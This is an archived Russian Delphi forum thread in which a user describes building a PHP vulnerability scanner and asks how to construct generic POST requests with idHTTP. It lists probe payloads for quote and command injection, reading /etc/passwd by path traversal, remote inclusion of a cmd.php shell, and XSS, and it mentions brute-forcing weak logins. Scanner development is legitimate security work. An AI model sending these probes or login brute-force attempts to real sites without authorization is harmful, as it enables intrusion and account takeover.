Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2009.07.05;
Скачать: CL | DM;

Вниз

Анализатор уязвимостей РНР скриптов   Найти похожие ветки 

 
q1Onik   (2008-03-06 10:10) [0]

Я пишу программу автоматической проверки php скриптов на уязвимости.
Все скрипты я разделил на те, которые входящие переменные принимают методом GET и те, которые методом POST.

Базы данных со скриптами имеет следующий вид:

type
    Variabl = record
               VType:string;//тип переменной, передаваемой скрипту
               VName:string;//имя переменной, передаваемой скрипту
              end;
    TVar=array of Variabl;

    link = record
            ScriptLink:string;//ссылка на скрипт
            Method:string;{GET or POST}
            Variables:TVar;//все передаваемые скрипту переменные
           end;
    LinkList= array of link;//база со всеми скриптами на сайте


С GET-ом все более или менее просто и понятно: login.php?login=vasiliy&pass=qwerty&autologin=true
Правда пока еще не было времени проверить, правильно ли я выделяю переменные, передаваемые в скрипт...Если переменные ГЕТ запросом передаются в РНР скрипты по другому, пожалуйста напишите как еще это делают РНР программисты

Такие скрипты я буду проверять по следующей схеме:

/index.php?go="
/index.php?go=;id;
/index.php?go=../...../../etc/passwd
/index.php?go=../...../etc/passwd%00
/index.php?go=xxxxx...xxxxxxxxxxxxxx
/index.php?go=http:...cmd.php?cmd=id
/index.php?go="><script>alert("!Z-Team");</script>


Т.Е. передавать в каждую переменную кавычку, пытаться прочитать /etc/passwd и т.д. а после смотреть ответ скрипта на такие запросы, если возвращает ERROR или WARNING, то есть подозрение на уязвимость

Полностью составить грамотно POST запрос у меня вызывает трудности.

Вот конкретный пример:

<form method="post" action="login.php?sid=81f0ea24f354fa6372158507b9ced3f6">
<input class="post" type="text" name="username" size="10" />
<input class="post" type="password" name="password" size="10" maxlength="32" />
<input class="text" type="checkbox" name="autologin" />
<input type="submit" class="mainoption" name="login" value="Вход" />
</form>


В базе скриптов данная форма будет выглядеть следующим образом:

ScriptLink:=login.php?sid=81f0ea24f354fa6372158507b9ced3f6
Method:=POST;
Variables:=[(text,username),(password,password),(checkbox,autologin),(submit,log in)]

Если бы тупо во все переменные писать кавычки... А то ведь теперь еще потребовался анализ слабых паролей, т.е. в случае если программа нашла скрипт, как в этом примере, то необходимо запускать брут на самые распространенные имена пользователей и пароли.

Вот и вернулся к тому, с чего начал: для работы со скриптами, получения списка скриптов, посылки запросов я использую idHTTP.
Как в моем случае составлять POST запросы, ведь я работаю не с какой-то конкретной формой, а с множеством самых различных форм, которые нужно проверить.


 
q1Onik   (2008-03-06 10:13) [1]

Ой, забыл закрыть тег
Если кому-то интересна эта тема, то напишите на форуме, или в ICQ:589855



Страницы: 1 вся ветка

Текущий архив: 2009.07.05;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.016 c
10-1158657335
Krants
2006-09-19 13:15
2009.07.05
"Selection.End(xlDown).Select" в Excel


15-1241209805
Юрий
2009-05-02 00:30
2009.07.05
С днем рождения ! 2 мая 2009 суббота


15-1241011871
Savek
2009-04-29 17:31
2009.07.05
Безопасность компьютера может быть под угрозой


3-1223120706
keymaster
2008-10-04 15:45
2009.07.05
Занятная проблема с Oracle XE


4-1212234617
hub00
2008-05-31 15:50
2009.07.05
Область подсвечивания.